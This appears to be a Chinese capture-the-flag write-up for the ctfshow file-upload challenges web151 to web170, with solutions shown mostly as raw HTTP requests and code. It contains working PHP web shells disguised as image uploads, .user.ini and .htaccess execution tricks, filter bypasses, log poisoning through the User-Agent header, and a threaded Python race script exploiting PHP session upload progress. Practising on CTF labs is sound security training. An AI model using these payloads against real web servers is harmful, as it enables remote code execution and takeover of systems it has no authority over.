ctfshow_文件上传

web 151 前端检测

在 bp 修改文件类型就能绕过前端检测

抓包上传

1
2
3
4
5
6
7
8
9
10
11
12
POST /upload.php HTTP/1.1

-----------------------------249623824540300659272997113405
Content-Disposition: form-data; name="file"; filename="WD.php"
Content-Type: image/png

<?php
eval($_POST[1]);
-----------------------------249623824540300659272997113405--

AntSword: ../upload/WD.php
Password: 1

web 152

抓包上传

1
2
3
4
5
6
7
8
9
10
11
12
POST /upload.php HTTP/1.1

-----------------------------249623824540300659272997113405
Content-Disposition: form-data; name="file"; filename="WD.php"
Content-Type: image/png

<?php
eval($_POST[1]);
-----------------------------249623824540300659272997113405--

AntSword: ../upload/WD.php
Password: 1

web 153

抓包上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# .user.ini
POST /upload.php HTTP/1.1

-----------------------------3733861765331145033542455870
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_append_file=choco.png
-----------------------------3733861765331145033542455870--

# choco.png
POST /upload.php HTTP/1.1

-----------------------------3733861765331145033542455870
Content-Disposition: form-data; name="file"; filename="choco.png"
Content-Type: image/png

<?php @eval($_POST[1]);phpinfo();?>
-----------------------------3733861765331145033542455870--

# 蚁剑
AntSword: ../upload/index.php
Password: 1

web 154

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# .user.ini
POST /upload.php HTTP/1.1

-----------------------------29887262139601884013657572
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_append_file=choco.png
-----------------------------29887262139601884013657572--

# 上传的内容中 过滤了php,
# choco.png
POST /upload.php HTTP/1.1

-----------------------------3733861765331145033542455870
Content-Disposition: form-data; name="file"; filename="choco.png"
Content-Type: image/png

<?= @eval($_POST[1]);?>
-----------------------------3733861765331145033542455870--

# 蚁剑
AntSword: ../upload/index.php
Password: 1

web 155

同上

    //short_open_tags=on

  等价于 //无限制

<% echo ‘123’;%> //asp_tags=on php_version < 7

//php_vsesion < 7

web 156

中括号被过滤

$_POST[1]换成$_POST{1}

1
2
3
4
5
6
7
8
9
# 发送.user.ini后
POST /upload.php HTTP/1.1

-----------------------------342514297417273766921991949530
Content-Disposition: form-data; name="file"; filename="choco.png"
Content-Type: image/png

<?= eval($_POST{1});?>
-----------------------------342514297417273766921991949530--

web 157

过滤掉了大括号{},[],;也就是不让传马了

那就传 system 命令就行

1
2
3
4
5
6
7
8
9
# 传入.user.ini后
POST /upload.php HTTP/1.1

-----------------------------22235109627555283563969421811
Content-Disposition: form-data; name="file"; filename="choco.png"
Content-Type: image/png

<?= system('tac ../f*')?>
-----------------------------22235109627555283563969421811--

/upload/index.php

web 158

同 157

/upload/index.php

web 159

过滤了 php pHp {} [] () ;

利用 php 特性 反引号执行命令 ``

1
2
3
4
5
6
7
8
POST /upload.php HTTP/1.1

-----------------------------196096331538809486882200785284
Content-Disposition: form-data; name="file"; filename="choco.png"
Content-Type: image/png

<?= `tac ../f*`?>
-----------------------------196096331538809486882200785284--

web 160

auto_append_file=php://input 过滤

空格和``反引号和 log 过滤掉了

用双引号绕过 log 的过滤

1
2
3
4
5
6
7
8
9
10
11
POST /upload.php HTTP/1.1

-----------------------------41124282061035382732281880358
Content-Disposition: form-data; name="file"; filename="coco.png"
Content-Type: image/png

<?=include"/var/lo"."g/nginx/access.lo"."g"?>
-----------------------------41124282061035382732281880358--

# UA写入木马
<?php eval($_POST[1]);?>

web 161

对文件头做了检测 用的 getimagesize( )

考虑用 XBM 绕过检测

可惜伪协议被过滤了, xbm 跟 png 头也过滤 只能用 GIF89a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /upload.php HTTP/1.1
-----------------------------158272183011315815693593599263
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_append_file=choco.png
-----------------------------158272183011315815693593599263--

POST /upload.php HTTP/1.1
-----------------------------158272183011315815693593599263
Content-Disposition: form-data; name="file"; filename="choco.png"
Content-Type: image/png

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
-----------------------------158272183011315815693593599263--

POST /upload/index.php HTTP/1.1
1=system('cd ..;tac f*');phpinfo();

web 162

过滤了 点

  1. auto_append_file=choco.png 点去掉 直接 auto_append_file=choco
  2. 包含不了.log 文件了,尝试包含 session 文件
  3. 运行脚本 session 文件包含
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /upload.php HTTP/1.1
-----------------------------10970147315134290621869531992
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_append_file=choco
-----------------------------10970147315134290621869531992--

POST /upload.php HTTP/1.1
-----------------------------10970147315134290621869531992
Content-Disposition: form-data; name="file"; filename="choco"
Content-Type: image/png

GIF89a
<?=include"/tmp/sess_test"?>
-----------------------------10970147315134290621869531992--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# coding=utf-8
import io
import requests
import threading

sessID = 'test'
url = 'https://b98129a9-d59e-4578-9afe-69d53e60a6d1.challenge.ctf.show/'

def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 256 * 1)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("nl ../*.php");?>'},
files={'file': ('test.txt', f)}
)

def read(session):
while event.isSet():
response = session.get(url + 'upload/index.php'.format(sessID))
if 'flag' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')

if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

web 163

同 162

1
2
3
4
5
6
7
8
POST /upload.php HTTP/1.1
-----------------------------95656543534091182273326546460
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_append_file=/tmp/sess_test
-----------------------------95656543534091182273326546460--

运行脚本 竞争得到 php 源码

web 164 二次渲染

1
2
3
POST /download.php?image=3b5220d08babcbd1d9ba36213061ea24.png&0=system HTTP/1.1

1=tac f*;

web 165

为避免二次渲染导致的错码

先上传一张正常 jpg 文件到服务器,再下载回来

再用 php exp.php choco.jpg 生成木马 , 再上传即可 (这里成功率有点低 选择这张)

04ece7db115348d286a8529e08415b29.jpeg (1296×1296) (csdnimg.cn)

1
2
3
POST /download.php?image=00fa48f4790616866858c46eb9d6c4f8.jpg HTTP/1.1

1=system('tac f*;tac f*;tac f*;tac f*;tac f*;tac f*;');

web 166

前端白名单 zip

1
2
3
4
5
6
7
8
9
POST /upload.php HTTP/1.1

-----------------------------1945545382865877541137483832
Content-Disposition: form-data; name="file"; filename="0.zip"
Content-Type: application/x-zip-compressed

<?php
eval($_POST[1]);
-----------------------------1945545382865877541137483832--

下载文件 看看位置

…/upload/download.php?file=da3c654cf95168ef33722eac597b61a3.zip

文件包含形式

1
2
3
POST /upload/download.php?file=da3c654cf95168ef33722eac597b61a3.zip HTTP/1.1

1=system('cd ..;ls;tac f*');

web 167

.htaccess 文件使用要开启 apache httpd.config AllowOverride All

前端白名单 jpg

上传.htaccess 文件进行绕过

文件内容 AddType application/x-httpd-php .jpg //将.jpg后缀文件当作php解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /upload.php HTTP/1.1
-----------------------------125357054616921729211161983153
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .jpg
-----------------------------125357054616921729211161983153--

POST /upload.php HTTP/1.1
-----------------------------125357054616921729211161983153
Content-Disposition: form-data; name="file"; filename="choco.jpg"
Content-Type: image/jpeg

<?= eval($_POST[1]);?>
-----------------------------125357054616921729211161983153--

POST /upload/choco.jpg HTTP/1.1
1=system('cd ../;ls;tac f*');

web 168

文件上传点将 eval 和 system 以及 post 和 get 过滤了

白名单 png 抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /upload.php HTTP/1.1
-----------------------------2163287823117723866431392515
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php
$a=strrev("metsys");
$a($_REQUEST['pass'])
?>
-----------------------------2163287823117723866431392515--

POST /upload/1.php HTTP/1.1
pass=cd ..;ls;tac flagaa.php;

POST pass=cd ../;ls 就组成了 system(’pass=cd ../;ls’);

web 169

后台对’<’进行了检测, 构造日志文件包含

前端要求 zip。后端要求 png

抓 zip 包 ( 注意后端检测 Content-Type: image/png )

UA 写入日志

同时因为没有 index.php 配合.user.ini 需要自己写一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /upload.php HTTP/1.1
User-Agent: <?= system('cd ..;ls;cat f*;')?>
-----------------------------219380736512877798521945412663
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: image/png

choco
-----------------------------219380736512877798521945412663--

POST /upload.php HTTP/1.1
-----------------------------219380736512877798521945412663
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file=/var/log/nginx/access.log
-----------------------------219380736512877798521945412663--

POST /upload/index.php HTTP/1.1

web 170

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /upload.php HTTP/1.1
-----------------------------295010673012120281652529233211
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file=/var/log/nginx/access.log
-----------------------------295010673012120281652529233211--

POST /upload.php HTTP/1.1
User-Agent: <?= system('cd ..;cat flagaa.php;ls');?>
-----------------------------295010673012120281652529233211
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: image/png

choco_hello
-----------------------------295010673012120281652529233211--

GET /upload/ HTTP/1.1